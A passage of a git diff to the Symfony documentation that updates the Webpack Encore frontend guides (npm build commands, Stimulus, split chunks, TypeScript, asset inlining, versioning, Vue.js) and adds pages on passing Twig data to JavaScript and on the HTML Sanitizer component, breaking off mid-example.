change, if both ``app.js`` and ``store.js`` require ``jquery``, -then ``jquery`` would be packaged into *both* files, which is wasteful. By making -``app.js`` your "shared" entry, *any* code required by ``app.js`` (like jQuery) will -*no longer* be packaged into any other files. The same is true for any CSS. - -Because ``app.js`` contains all the common code that other entry files depend on, -its script (and link) tag must be on every page. - -.. tip:: - - The ``app.js`` file works best when its contents are changed *rarely* - and you're using :ref:`long-term caching <encore-long-term-caching>`. Why? - If ``app.js`` contains application code that *frequently* changes, then - (when using versioning), its filename hash will frequently change. This means - your users won't enjoy the benefits of long-term caching for this file (which - is generally quite large). diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst index 215fd117ddf..1c6c6b05c08 100644 --- a/frontend/encore/simple-example.rst +++ b/frontend/encore/simple-example.rst @@ -1,8 +1,8 @@ Encore: Setting up your Project =============================== -After :doc:`installing Encore </frontend/encore/installation>`, your app already has one -CSS and one JS file, organized into an ``assets/`` directory: +After :doc:`installing Encore </frontend/encore/installation>`, your app already +has a few files, organized into an ``assets/`` directory: * ``assets/app.js`` * ``assets/styles/app.css`` @@ -17,11 +17,9 @@ application: it will *require* all of the dependencies it needs (e.g. jQuery or // assets/app.js // ... - import '../css/app.css'; + import './styles/app.css'; - // var $ = require('jquery'); - -Encore's job (via Webpack) is simple: to read and follow *all* of the ``require()`` +Encore's job (via Webpack) is simple: to read and follow *all* of the ``import`` statements and create one final ``app.js`` (and ``app.css``) that contains *everything* your app needs. Encore can do a lot more: minify files, pre-process Sass/LESS, support React, Vue.js, etc. @@ -35,7 +33,7 @@ of your project. It already holds the basic config you need: .. code-block:: javascript // webpack.config.js - var Encore = require('@symfony/webpack-encore'); + const Encore = require('@symfony/webpack-encore'); Encore // directory where compiled assets will be stored @@ -45,7 +43,8 @@ of your project. It already holds the basic config you need: .addEntry('app', './assets/app.js') - // ... + // uncomment this if you want use jQuery in the following example + .autoProvidejQuery() ; // ... @@ -57,22 +56,36 @@ together and - thanks to the first ``app`` argument - output final ``app.js`` an .. _encore-build-assets: -To build the assets, run: +To build the assets, run the following if you use the npm package manager: .. code-block:: terminal - # compile assets once - $ yarn encore dev + # compile assets and automatically re-compile when files change + $ npm run watch - # or, recompile assets automatically when files change - $ yarn encore dev --watch + # or, run a dev-server that can sometimes update your code without refreshing the page + $ npm run dev-server + + # compile assets once + $ npm run dev # on deploy, create a production build - $ yarn encore production + $ npm run build -.. note:: +All of these commands - e.g. ``dev`` or ``watch`` - are shortcuts that are defined +in your ``package.json`` file. + +.. tip:: + + If you're using the Symfony CLI tool, you can configure workers to be + automatically run along with the webserver. You can find more information + in the :ref:`Symfony CLI Workers <symfony-server_configuring-workers>` + documentation. - Stop and restart ``encore`` each time you update your ``webpack.config.js`` file. +.. warning:: + + Whenever you make changes in your ``webpack.config.js`` file, you must + stop and restart ``encore``. Congrats! You now have three new files: @@ -80,8 +93,15 @@ Congrats! You now have three new files: * ``public/build/app.css`` (holds all the CSS for your "app" entry) * ``public/build/runtime.js`` (a file that helps Webpack do its job) -Next, include these in your base layout file. Two Twig helpers from WebpackEncoreBundle -can do most of the work for you: +.. note:: + + In reality, you probably have a few *more* files in ``public/build``. Some of + these are due to :doc:`code splitting </frontend/encore/split-chunks>`, an optimization + that helps performance, but doesn't affect how things work. Others help Encore + do its work. + +Next, to include these in your base layout, you can leverage two Twig helpers from +WebpackEncoreBundle: .. code-block:: html+twig @@ -98,18 +118,18 @@ can do most of the work for you: <!-- Renders a link tag (if your module requires any CSS) <link rel="stylesheet" href="/build/app.css"> --> {% endblock %} - </head> - <body> - <!-- ... --> {% block javascripts %} {{ encore_entry_script_tags('app') }} <!-- Renders app.js & a webpack runtime.js file - <script src="/build/runtime.js"></script> - <script src="/build/app.js"></script> --> + <script src="/build/runtime.js" defer></script> + <script src="/build/app.js" defer></script> + See note below about the "defer" attribute --> {% endblock %} - </body> + </head> + + <!-- ... --> </html> .. _encore-entrypointsjson-simple-description: @@ -119,32 +139,38 @@ That's it! When you refresh your page, all of the JavaScript from be executed. All the CSS files that were required will also be displayed. The ``encore_entry_link_tags()`` and ``encore_entry_script_tags()`` functions -read from an ``entrypoints.json`` file that's generated by Encore to know the exact +read from a ``public/build/entrypoints.json`` file that's generated by Encore to know the exact filename(s) to render. This file is *especially* useful because you can :doc:`enable versioning </frontend/encore/versioning>` or :doc:`point assets to a CDN </frontend/encore/cdn>` without making *any* changes to your template: the paths in ``entrypoints.json`` will always be the final, correct paths. +And if you use :doc:`splitEntryChunks() </frontend/encore/split-chunks>` (where Webpack splits the output into even +more files), all the necessary ``script`` and ``link`` tags will render automatically. -If you're *not* using Symfony, you can ignore the ``entrypoints.json`` file and -point to the final, built file directly. ``entrypoints.json`` is only required for -some optional features. +If you are not using Symfony you won't have the ``encore_entry_*`` functions available. +Instead, you can point directly to the final built files or write code to parse +``entrypoints.json`` manually. The entrypoints file is needed only if you're using +certain optional features, like ``splitEntryChunks()``. -.. versionadded:: 0.21.0 +.. versionadded:: 1.9.0 - The ``encore_entry_link_tags()`` comes from WebpackEncoreBundle and relies - on a feature in Encore that was first introduced in version 0.21.0. Previously, - the ``asset()`` function was used to point directly to the file. + The ``defer`` attribute on the ``script`` tags delays the execution of the + JavaScript until the page loads (similar to putting the ``script`` at the + bottom of the page). The ability to always add this attribute was introduced + in WebpackEncoreBundle 1.9.0 and is automatically enabled in that bundle's + recipe in the ``config/packages/webpack_encore.yaml`` file. See + `WebpackEncoreBundle Configuration`_ for more details. Requiring JavaScript Modules ---------------------------- -Webpack is a module bundler, which means that you can ``require`` other JavaScript -files. First, create a file that exports a function: +Webpack is a module bundler, which means that you can ``import`` other JavaScript +files. First, create a file that exports a function, class or any other value: .. code-block:: javascript // assets/greet.js - module.exports = function(name) { + export default function(name) { return `Yo yo ${name} - welcome to Encore!`; }; @@ -152,21 +178,21 @@ We'll use jQuery to print this message on the page. Install it via: .. code-block:: terminal - $ yarn add jquery --dev + $ npm install jquery --save-dev -Great! Use ``require()`` to import ``jquery`` and ``greet.js``: +Great! Use ``import`` to import ``jquery`` and ``greet.js``: .. code-block:: diff - // assets/app.js - // ... + // assets/app.js + // ... + // loads the jquery package from node_modules - + var $ = require('jquery'); + + import $ from 'jquery'; + // import the function from greet.js (the .js extension is optional) + // ./ (or ../) means to look for a local file - + var greet = require('./greet'); + + import greet from './greet'; + $(document).ready(function() { + $('body').prepend('<h1>'+greet('jill')+'</h1>'); @@ -176,45 +202,133 @@ That's it! If you previously ran ``encore dev --watch``, your final, built files have already been updated: jQuery and ``greet.js`` have been automatically added to the output file (``app.js``). Refresh to see the message! -The import and export Statements --------------------------------- +Stimulus & Symfony UX +--------------------- -Instead of using ``require()`` and ``module.exports`` like shown above, JavaScript -provides an alternate syntax based on the `ECMAScript 6 modules`_ that includes -the ability to use dynamic imports. +As simple as the above example is, instead of building your application inside of +``app.js``, we recommend `Stimulus`_: a small JavaScript framework that makes it +easy to attach behavior to HTML. It's powerful, and you will love it! Symfony +even provides packages to add more features to Stimulus. These are called the +Symfony UX Packages. -To export values using the alternate syntax, use ``export``: +To use Stimulus, first install StimulusBundle: -.. code-block:: diff +.. code-block:: terminal - // assets/greet.js - - module.exports = function(name) { - + export default function(name) { - return `Yo yo ${name} - welcome to Encore!`; - }; + $ composer require symfony/stimulus-bundle -To import values, use ``import``: +The Flex recipe should add several files/directories: -.. code-block:: diff +* ``assets/bootstrap.js`` - initializes Stimulus; +* ``assets/controllers/`` - a directory where you'll put your Stimulus controllers; +* ``assets/controllers.json`` - file that helps load Stimulus controllers form UX + packages that you'll install. - // assets/app.js - - require('../css/app.css'); - + import '../css/app.css'; +Let's look at a simple Stimulus example. In a Twig template, suppose you have: - - var $ = require('jquery'); - + import $ from 'jquery'; +.. code-block:: html+twig - - var greet = require('./greet'); - + import greet from './greet'; + <div {{ stimulus_controller('say-hello') }}> + <input type="text" {{ stimulus_target('say-hello', 'name') }}> + + <button {{ stimulus_action('say-hello', 'greet') }}> + Greet + </button> + + <div {{ stimulus_target('say-hello', 'output') }}></div> + </div> + +The ``stimulus_controller('say-hello')`` renders a ``data-controller="say-hello"`` +attribute. Whenever this element appears on the page, Stimulus will automatically +look for and initialize a controller called ``say-hello-controller.js``. Create +that in your ``assets/controllers/`` directory: + +.. code-block:: javascript + + // assets/controllers/say-hello-controller.js + import { Controller } from '@hotwired/stimulus'; + + export default class extends Controller { + static targets = ['name', 'output'] + + greet() { + this.outputTarget.textContent = `Hello, ${this.nameTarget.value}!` + } + } + +The result? When you click the "Greet" button, it prints your name! And if +more ``{{ stimulus_controller('say-hello') }}`` elements are added to the page - like +via Ajax - those will instantly work: no need to reinitialize anything. + +Ready to learn more about Stimulus? + +* Read the `Stimulus Documentation`_ +* Learn more about `StimulusBundle & the UX System`_ +* Browse `all the Symfony UX packages`_ + + .. admonition:: Screencast + :class: screencast + + Or check out the `Stimulus Screencast`_ on SymfonyCasts. + +Turbo: Lightning Fast Single-Page-Application Experience +-------------------------------------------------------- + +Symfony comes with tight integration with another JavaScript library called `Turbo`_. +Turbo automatically transforms all link clicks and form submits into an Ajax call, +with zero (or nearly zero) changes to your Symfony code! The result? You get the +speed of a single page application without having to write any JavaScript. + +To learn more, check out the `symfony/ux-turbo`_ package. + +.. admonition:: Screencast + :class: screencast + + Or check out the `Turbo Screencast`_ on SymfonyCasts. + +Page-Specific JavaScript or CSS +------------------------------- + +So far, you only have one final JavaScript file: ``app.js``. Encore may be split +into multiple files for performance (see :doc:`split chunks </frontend/encore/split-chunks>`), +but all of that code is still downloaded on every page. + +What if you have some extra JavaScript or CSS (e.g. for performance) that you only +want to include on *certain* pages? + +Lazy Controllers +~~~~~~~~~~~~~~~~ + +One very nice solution if you're using Stimulus is to leverage `lazy controllers`_. +To activate this on a controller, add a special ``stimulusFetch: 'lazy'`` above +your controller class: + +.. code-block:: javascript + + // assets/controllers/lazy-example-controller.js + import { Controller } from '@hotwired/stimulus'; + + /* stimulusFetch: 'lazy' */ + export default class extends Controller { + // ... + } + +That's it! This controller's code - and any modules that it imports - will be +split to *separate* files by Encore. Then, those files won't be downloaded until +the moment a matching element (e.g. ``<div data-controller="lazy-example">``) +appears on the page! + +.. note:: + + If you write your controllers using TypeScript, make sure + ``removeComments`` is not set to ``true`` in your TypeScript config. .. _multiple-javascript-entries: -Page-Specific JavaScript or CSS (Multiple Entries) --------------------------------------------------- +Multiple Entries +~~~~~~~~~~~~~~~~ -So far, you only have one final JavaScript file: ``app.js``. For small applications -or SPA's (Single Page Applications), that might be fine! However, as your app grows, -you may want to have page-specific JavaScript or CSS (e.g. checkout, account, +Another option is to create page-specific JavaScript or CSS (e.g. checkout, account, etc.). To handle this, create a new "entry" JavaScript file for each page: .. code-block:: javascript @@ -231,20 +345,20 @@ Next, use ``addEntry()`` to tell Webpack to read these two new files when it bui .. code-block:: diff - // webpack.config.js - Encore - // ... - .addEntry('app', './assets/app.js') + // webpack.config.js + Encore + // ... + .addEntry('app', './assets/app.js') + .addEntry('checkout', './assets/checkout.js') + .addEntry('account', './assets/account.js') - // ... + // ... And because you just changed the ``webpack.config.js`` file, make sure to stop and restart Encore: .. code-block:: terminal - $ yarn run encore dev --watch + $ npm run watch Webpack will now output a new ``checkout.js`` file and a new ``account.js`` file in your build directory. And, if any of those files require/import CSS, Webpack @@ -255,8 +369,8 @@ you need them: .. code-block:: diff - {# templates/.../checkout.html.twig #} - {% extends 'base.html.twig' %} + {# templates/.../checkout.html.twig #} + {% extends 'base.html.twig' %} + {% block stylesheets %} + {{ parent() }} @@ -270,10 +384,9 @@ you need them: Now, the checkout page will contain all the JavaScript and CSS for the ``app`` entry (because this is included in ``base.html.twig`` and there is the ``{{ parent() }}`` call) -*and* your ``checkout`` entry. - -See :doc:`/frontend/encore/page-specific-assets` for more details. To avoid duplicating -the same code in different entry files, see :doc:`/frontend/encore/split-chunks`. +*and* your ``checkout`` entry. With this, JavaScript & CSS needed for every page +can live inside the ``app`` entry and code needed only for the checkout page can +live inside ``checkout``. Using Sass/LESS/Stylus ---------------------- @@ -285,36 +398,35 @@ file to ``app.scss`` and update the ``import`` statement: .. code-block:: diff - // assets/app.js - - import '../css/app.css'; - + import '../css/app.scss'; + // assets/app.js + - import './styles/app.css'; + + import './styles/app.scss'; -Then, tell Encore to enable the Sass pre-processor: +Then, tell Encore to enable the Sass preprocessor: .. code-block:: diff - // webpack.config.js - Encore - // ... + // webpack.config.js + Encore + // ... + .enableSassLoader() - ; + ; Because you just changed your ``webpack.config.js`` file, you'll need to restart Encore. When you do, you'll see an error! .. code-block:: terminal - > Error: Install sass-loader & node-sass to use enableSassLoader() - > yarn add sass-loader@^8.0.0 node-sass --dev + > Error: Install sass-loader & sass to use enableSassLoader() Encore supports many features. But, instead of forcing all of them on you, when you need a feature, Encore will tell you what you need to install. Run: .. code-block:: terminal - $ yarn add sass-loader@^8.0.0 node-sass --dev - $ yarn encore dev --watch + $ npm install sass-loader@^13.0.0 sass --save-dev + $ npm run watch Your app now supports Sass. Encore also supports LESS and Stylus. See :doc:`/frontend/encore/css-preprocessors`. @@ -322,7 +434,7 @@ Your app now supports Sass. Encore also supports LESS and Stylus. See Compiling Only a CSS File ------------------------- -.. caution:: +.. warning:: Using ``addStyleEntry()`` is supported, but not recommended. A better option is to follow the pattern above: use ``addEntry()`` to point to a JavaScript @@ -345,7 +457,16 @@ Keep Going! ----------- Encore supports many more features! For a full list of what you can do, see -`Encore's index.js file`_. Or, go back to :ref:`list of Encore articles <encore-toc>`. +`Encore's index.js file`_. Or, go back to :ref:`list of Frontend articles <encore-toc>`. .. _`Encore's index.js file`: https://github.com/symfony/webpack-encore/blob/master/index.js -.. _`ECMAScript 6 modules`: https://hacks.mozilla.org/2015/08/es6-in-depth-modules/ +.. _`WebpackEncoreBundle Configuration`: https://github.com/symfony/webpack-encore-bundle#configuration +.. _`Stimulus`: https://stimulus.hotwired.dev/ +.. _`Stimulus Documentation`: https://stimulus.hotwired.dev/handbook/introduction +.. _StimulusBundle & the UX System: https://symfony.com/bundles/StimulusBundle/current/index.html +.. _all the Symfony UX packages: https://symfony.com/bundles/StimulusBundle/current/index.html#ux-packages +.. _`Turbo`: https://turbo.hotwired.dev/ +.. _`symfony/ux-turbo`: https://symfony.com/bundles/ux-turbo/current/index.html +.. _`Stimulus Screencast`: https://symfonycasts.com/screencast/stimulus +.. _`Turbo Screencast`: https://symfonycasts.com/screencast/turbo +.. _`lazy controllers`: https://github.com/symfony/stimulus-bridge#lazy-controllers diff --git a/frontend/encore/sourcemaps.rst b/frontend/encore/sourcemaps.rst index 62d4c6a351b..f07f32f3389 100644 --- a/frontend/encore/sourcemaps.rst +++ b/frontend/encore/sourcemaps.rst @@ -1,5 +1,5 @@ -Enabling Source Maps -==================== +Enabling Source Maps with Webpack Encore +======================================== `Source maps`_ allow browsers to access the original code related to some asset (e.g. the Sass code that was compiled to CSS or the TypeScript code that diff --git a/frontend/encore/split-chunks.rst b/frontend/encore/split-chunks.rst index 0205537b7d0..4c854c0b28c 100644 --- a/frontend/encore/split-chunks.rst +++ b/frontend/encore/split-chunks.rst @@ -1,4 +1,4 @@ -Preventing Duplication by "Splitting" Shared Code into Separate Files +Preventing Duplication by "Splitting" Shared Code with Webpack Encore ===================================================================== Suppose you have multiple entry files and *each* requires ``jquery``. In this @@ -10,22 +10,23 @@ To enable this, call ``splitEntryChunks()``: .. code-block:: diff - Encore - // ... + // webpack.config.js + Encore + // ... - // multiple entry files, which probably import the same code - .addEntry('app', './assets/app.js') - .addEntry('homepage', './assets/homepage.js') - .addEntry('blog', './assets/blog.js') - .addEntry('store', './assets/store.js') + // multiple entry files, which probably import the same code + .addEntry('app', './assets/app.js') + .addEntry('homepage', './assets/homepage.js') + .addEntry('blog', './assets/blog.js') + .addEntry('store', './assets/store.js') + .splitEntryChunks() - Now, each output file (e.g. ``homepage.js``) *may* be split into multiple file -(e.g. ``homepage.js``, ``vendor~homepage.js``). This means that you *may* need to -include *multiple* ``script`` tags (or ``link`` tags for CSS) in your template. -Encore creates an :ref:`entrypoints.json <encore-entrypointsjson-simple-description>` +(e.g. ``homepage.js`` & ``vendors-node_modules_jquery_dist_jquery_js.js`` - the +filename of the second will be less obvious when you build for production). This +means that you *may* need to include *multiple* ``script`` tags (or ``link`` tags +for CSS) in your template. Encore creates an :ref:`entrypoints.json <encore-entrypointsjson-simple-description>` file that lists exactly which CSS and JavaScript files are needed for each entry. If you're using the ``encore_entry_link_tags()`` and ``encore_entry_script_tags()`` @@ -37,9 +38,9 @@ tags as needed: {# May now render multiple script tags: - <script src="/build/runtime.js"></script> - <script src="/build/vendor~homepage.js"></script> - <script src="/build/homepage.js"></script> + <script src="/build/runtime.js" defer></script> + <script src="/build/vendors-node_modules_jquery_dist_jquery_js.js" defer></script> + <script src="/build/homepage.js" defer></script> #} {{ encore_entry_script_tags('homepage') }} @@ -52,10 +53,11 @@ this plugin with the ``configureSplitChunks()`` function: .. code-block:: diff - Encore - // ... + // webpack.config.js + Encore + // ... - .splitEntryChunks() + .splitEntryChunks() + .configureSplitChunks(function(splitChunks) { + // change the configuration + splitChunks.minSize = 0; diff --git a/frontend/encore/typescript.rst b/frontend/encore/typescript.rst index b1af45d9c04..c9cd7487d39 100644 --- a/frontend/encore/typescript.rst +++ b/frontend/encore/typescript.rst @@ -1,24 +1,28 @@ -Enabling TypeScript (ts-loader) -=============================== +Enabling TypeScript (ts-loader) with Webpack Encore +=================================================== Want to use `TypeScript`_? No problem! First, enable it: .. code-block:: diff - // webpack.config.js - // ... + // webpack.config.js - Encore - // ... + // ... + Encore + // ... + .addEntry('main', './assets/main.ts') + .enableTypeScriptLoader() - // optionally enable forked type script for faster builds - // https://www.npmjs.com/package/fork-ts-checker-webpack-plugin - // requires that you have a tsconfig.json file that is setup correctly. + // optionally enable forked type script for faster builds + // https://www.npmjs.com/package/fork-ts-checker-webpack-plugin + // requires that you have a tsconfig.json file that is setup correctly. + //.enableForkedTypeScriptTypesChecking() - ; + ; + +Then create an empty ``tsconfig.json`` file with the contents ``{}`` in the project +root folder (or in the folder where your TypeScript files are located; e.g. ``assets/``). +In ``tsconfig.json`` you can define more options, as shown in `tsconfig.json reference`_. Then restart Encore. When you do, it will give you a command you can run to install any missing dependencies. After running that command and restarting @@ -30,9 +34,10 @@ method. .. code-block:: diff - Encore - // ... - .addEntry('main', './assets/main.ts') + // webpack.config.js + Encore + // ... + .addEntry('main', './assets/main.ts') - .enableTypeScriptLoader() + .enableTypeScriptLoader(function(tsConfig) { @@ -42,8 +47,8 @@ method. + // tsConfig.silent = false + }) - // ... - ; + // ... + ; See the `Encore's index.js file`_ for detailed documentation and check out the `tsconfig.json reference`_ and the `Webpack guide about Typescript`_. diff --git a/frontend/encore/url-loader.rst b/frontend/encore/url-loader.rst index 976cd6974d8..f63fa01cc8d 100644 --- a/frontend/encore/url-loader.rst +++ b/frontend/encore/url-loader.rst @@ -1,18 +1,11 @@ -Inlining files in CSS with Webpack URL Loader -============================================= +Inlining Images & Fonts in CSS with Webpack Encore +================================================== A simple technique to improve the performance of web applications is to reduce the number of HTTP requests inlining small files as base64 encoded URLs in the generated CSS files. -Webpack Encore provides this feature via Webpack's `URL Loader`_ plugin, but -it's disabled by default. First, add the URL loader to your project: - -.. code-block:: terminal - - $ yarn add url-loader --dev - -Then enable it in your ``webpack.config.js``: +You can enable this in ``webpack.config.js`` for images, fonts or both: .. code-block:: javascript @@ -21,31 +14,19 @@ Then enable it in your ``webpack.config.js``: Encore // ... - .configureUrlLoader({ - fonts: { limit: 4096 }, - images: { limit: 4096 } + .configureImageRule({ + // tell Webpack it should consider inlining + type: 'asset', + //maxSize: 4 * 1024, // 4 kb - the default is 8kb }) - ; - -The ``limit`` option defines the maximum size in bytes of the inlined files. In -the previous example, font and image files having a size below or equal to 4 KB -will be inlined and the rest of files will be processed as usual. - -You can also use all the other options supported by the `URL Loader`_. If you -want to disable this loader for either images or fonts, remove the corresponding -key from the object that is passed to the ``configureUrlLoader()`` method: - -.. code-block:: javascript - - // webpack.config.js - // ... - Encore - // ... - .configureUrlLoader({ - // 'fonts' is not defined, so only images will be inlined - images: { limit: 4096 } + .configureFontRule({ + type: 'asset', + //maxSize: 4 * 1024 }) ; -.. _`URL Loader`: https://github.com/webpack-contrib/url-loader +This leverages Webpack `Asset Modules`_. You can read more about this and the +configuration there. + +.. _`Asset Modules`: https://webpack.js.org/guides/asset-modules/ diff --git a/frontend/encore/versioning.rst b/frontend/encore/versioning.rst index 1f3d0cdd39e..5b848c17b04 100644 --- a/frontend/encore/versioning.rst +++ b/frontend/encore/versioning.rst @@ -1,5 +1,5 @@ -Asset Versioning -================ +Asset Versioning with Webpack Encore +==================================== .. _encore-long-term-caching: @@ -7,17 +7,17 @@ Tired of deploying and having browser's cache the old version of your assets? By calling ``enableVersioning()``, each filename will now include a hash that changes whenever the *contents* of that file change (e.g. ``app.123abc.js`` instead of ``app.js``). This allows you to use aggressive caching strategies -(e.g. a far future ``Expires``) because, whenever a file change, its hash will change, +(e.g. a far future ``Expires``) because, whenever a file changes, its hash will change, ignoring any existing cache: .. code-block:: diff - // webpack.config.js - // ... + // webpack.config.js - Encore - .setOutputPath('public/build/') - // ... + // ... + Encore + .setOutputPath('public/build/') + // ... + .enableVersioning() To link to these assets, Encore creates two files ``entrypoints.json`` and @@ -28,11 +28,12 @@ To link to these assets, Encore creates two files ``entrypoints.json`` and Loading Assets from ``entrypoints.json`` & ``manifest.json`` ------------------------------------------------------------ -Whenever you run Encore, two configuration files are generated: ``entrypoints.json`` +Whenever you run Encore, two configuration files are generated in your +output folder (default location: ``public/build/``): ``entrypoints.json`` and ``manifest.json``. Each file is similar, and contains a map to the final, versioned -filename. +filenames. -The first file - ``entrypoints.json`` - is used by the ``encore_entry_script_tags()`` +The first file – ``entrypoints.json`` – is used by the ``encore_entry_script_tags()`` and ``encore_entry_link_tags()`` Twig helpers. If you're using these, then your CSS and JavaScript files will render with the new, versioned filename. If you're not using Symfony, your app will need to read this file in a similar way. diff --git a/frontend/encore/virtual-machine.rst b/frontend/encore/virtual-machine.rst index 068d5c8451f..34587173b93 100644 --- a/frontend/encore/virtual-machine.rst +++ b/frontend/encore/virtual-machine.rst @@ -49,14 +49,14 @@ If your Symfony application is running on a custom domain (e.g. .. code-block:: diff - { - ... - "scripts": { + { + ... + "scripts": { - "dev-server": "encore dev-server", + "dev-server": "encore dev-server --public http://app.vm:8080", - ... - } - } + ... + } + } After restarting Encore and reloading your web page, you will probably see different issues in the web console: @@ -78,44 +78,45 @@ connections: .. code-block:: diff - { - ... - "scripts": { + { + ... + "scripts": { - "dev-server": "encore dev-server --public http://app.vm:8080", + "dev-server": "encore dev-server --public http://app.vm:8080 --host 0.0.0.0", - ... - } - } + ... + } + } -.. caution:: +.. danger:: Make sure to run the development server inside your virtual machine only; otherwise other computers can have access to it. Fix "Invalid Host header" Issue -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Webpack will respond ``Invalid Host header`` when trying to access files from -the dev-server. To fix this, add the argument ``--disable-host-check``: +the dev-server. To fix this, set the ``allowedHosts`` option: -.. code-block:: diff +.. code-block:: javascript + + // webpack.config.js + // ... + + Encore + // ... - { - ... - "scripts": { - - "dev-server": "encore dev-server --public http://app.vm:8080 --host 0.0.0.0", - + "dev-server": "encore dev-server --public http://app.vm:8080 --host 0.0.0.0 --disable-host-check", - ... - } - } + .configureDevServerOptions(options => { + options.allowedHosts = 'all'; + }) -.. caution:: +.. warning:: - Beware that `it's not recommended to disable host checking`_ in general, but + Beware that `it's not recommended to set allowedHosts to all`_ in general, but here it's required to solve the issue when using Encore in a virtual machine. .. _`VirtualBox`: https://www.virtualbox.org/ .. _`VMWare`: https://www.vmware.com .. _`NFS`: https://en.wikipedia.org/wiki/Network_File_System .. _`polling`: https://webpack.js.org/configuration/watch/#watchoptionspoll -.. _`it's not recommended to disable host checking`: https://webpack.js.org/configuration/dev-server/#devserverdisablehostcheck +.. _`it's not recommended to set allowedHosts to all`: https://webpack.js.org/configuration/dev-server/#devserverallowedhosts diff --git a/frontend/encore/vuejs.rst b/frontend/encore/vuejs.rst index 3d10eedcd41..354e6c590aa 100644 --- a/frontend/encore/vuejs.rst +++ b/frontend/encore/vuejs.rst @@ -1,24 +1,28 @@ -Enabling Vue.js (``vue-loader``) -================================ +Enabling Vue.js (``vue-loader``) with Webpack Encore +==================================================== .. admonition:: Screencast :class: screencast Do you prefer video tutorials? Check out the `Vue screencast series`_. +.. tip:: + + Check out live demos of Symfony UX Vue.js component at `https://ux.symfony.com/vue`_! + Want to use `Vue.js`_? No problem! First enable it in ``webpack.config.js``: .. code-block:: diff - // webpack.config.js - // ... + // webpack.config.js + // ... - Encore - // ... - .addEntry('main', './assets/main.js') + Encore + // ... + .addEntry('main', './assets/main.js') + .enableVueLoader() - ; + ; Then restart Encore. When you do, it will give you a command you can run to install any missing dependencies. After running that command and restarting @@ -45,7 +49,7 @@ runtime. This means that you *can* do either of these: }); If you do *not* need this functionality (e.g. you use single file components), -then you can tell Encore to create a *smaller* and CSP-compliant build: +then you can tell Encore to create a *smaller* build following Content Security Policy: .. code-block:: javascript @@ -65,11 +69,11 @@ Hot Module Replacement (HMR) The ``vue-loader`` supports hot module replacement: just update your code and watch your Vue.js app update *without* a browser refresh! To activate it, use the -``dev-server`` with the ``--hot`` option: +``dev-server``: .. code-block:: terminal - $ yarn encore dev-server --hot + $ npm run dev-server That's it! Change one of your ``.vue`` files and watch your browser update. But note: this does *not* currently work for *style* changes in a ``.vue`` file. Seeing @@ -85,18 +89,18 @@ You can enable `JSX with Vue.js`_ by configuring the second parameter of the .. code-block:: diff - // webpack.config.js - // ... + // webpack.config.js + // ... - Encore - // ... - .addEntry('main', './assets/main.js') + Encore + // ... + .addEntry('main', './assets/main.js') - .enableVueLoader() + .enableVueLoader(() => {}, { + useJsx: true + }) - ; + ; Next, run or restart Encore. When you do, you will see an error message helping you install any missing dependencies. After running that command and restarting @@ -208,3 +212,4 @@ following in your Twig templates: .. _`Scoped Styles`: https://vue-loader.vuejs.org/guide/scoped-css.html .. _`CSS Modules`: https://github.com/css-modules/css-modules .. _`Vue screencast series`: https://symfonycasts.com/screencast/vue +.. _`https://ux.symfony.com/vue`: https://ux.symfony.com/vue diff --git a/frontend/server-data.rst b/frontend/server-data.rst new file mode 100644 index 00000000000..479c4ec21c2 --- /dev/null +++ b/frontend/server-data.rst @@ -0,0 +1,51 @@ +Passing Information from Twig to JavaScript +=========================================== + +In Symfony applications, you may find that you need to pass some dynamic data +(e.g. user information) from Twig to your JavaScript code. One great way to pass +dynamic configuration is by storing information in ``data-*`` attributes and reading +them later in JavaScript. For example: + +.. code-block:: html+twig + + <div class="js-user-rating" + data-is-authenticated="{{ app.user ? 'true' : 'false' }}" + data-user="{{ app.user|serialize(format = 'json') }}" + > + <!-- ... --> + </div> + +Fetch this in JavaScript: + +.. code-block:: javascript + + document.addEventListener('DOMContentLoaded', function() { + const userRating = document.querySelector('.js-user-rating'); + const isAuthenticated = userRating.getAttribute('data-is-authenticated'); + const user = JSON.parse(userRating.getAttribute('data-user')); + }); + +.. note:: + + If you prefer to `access data attributes via JavaScript's dataset property`_, + the attribute names are converted from dash-style to camelCase. For example, + ``data-number-of-reviews`` becomes ``dataset.numberOfReviews``: + + .. code-block:: javascript + + // ... + const isAuthenticated = userRating.dataset.isAuthenticated; + const user = JSON.parse(userRating.dataset.user); + +There is no size limit for the value of the ``data-*`` attributes, so you can +store any content. In Twig, use the ``html_attr`` escaping strategy to avoid messing +with HTML attributes. For example, if your ``User`` object has some ``getProfileData()`` +method that returns an array, you could do the following: + +.. code-block:: html+twig + + <div data-user-profile="{{ app.user ? app.user.profileData|json_encode|e('html_attr') }}"> + <!-- ... --> + </div> + +.. _`access data attributes via JavaScript's dataset property`: https://developer.mozilla.org/en-US/docs/Learn/HTML/Howto/Use_data_attributes diff --git a/html_sanitizer.rst b/html_sanitizer.rst new file mode 100644 index 00000000000..38d7664ccf7 --- /dev/null +++ b/html_sanitizer.rst @@ -0,0 +1,1104 @@ +HTML Sanitizer +============== + +The HTML Sanitizer component aims at sanitizing/cleaning untrusted HTML +code (e.g. created by a WYSIWYG editor in the browser) into HTML that can +be trusted. It is based on the `HTML Sanitizer W3C Standard Proposal`_. + +The HTML sanitizer creates a new HTML structure from scratch, taking only +the elements and attributes that are allowed by configuration. This means +that the returned HTML is very predictable (it only contains allowed +elements), but it does not work well with badly formatted input (e.g. +invalid HTML). The sanitizer is targeted for two use cases: + +* Preventing security attacks based on :ref:`XSS <xss-attacks>` or other technologies + relying on the execution of malicious code on the visitors browsers; +* Generating HTML that always respects a certain format (only certain + tags, attributes, hosts, etc.) to be able to consistently style the + resulting output with CSS. This also protects your application against + attacks related to e.g. changing the CSS of the whole page. + +.. _html-sanitizer-installation: + +Installation +------------ + +You can install the HTML Sanitizer component with: + +.. code-block:: terminal + + $ composer require symfony/html-sanitizer + +Basic Usage +----------- + +Use the :class:`Symfony\\Component\\HtmlSanitizer\\HtmlSanitizer` class to +sanitize the HTML. In the Symfony framework, this class is available as the +``html_sanitizer`` service. This service will be :doc:`autowired </service_container/autowiring>` +automatically when type-hinting for +:class:`Symfony\\Component\\HtmlSanitizer\\HtmlSanitizerInterface`: + +.. configuration-block:: + + .. code-block:: php-symfony + + // src/Controller/BlogPostController.php + namespace App\Controller; + + // ... + use Symfony\Component\HtmlSanitizer\HtmlSanitizerInterface; + + class BlogPostController extends AbstractController + { + public function createAction(HtmlSanitizerInterface $htmlSanitizer, Request $request): Response + { + $unsafeContents = $request->getPayload()->get('post_contents'); + + $safeContents = 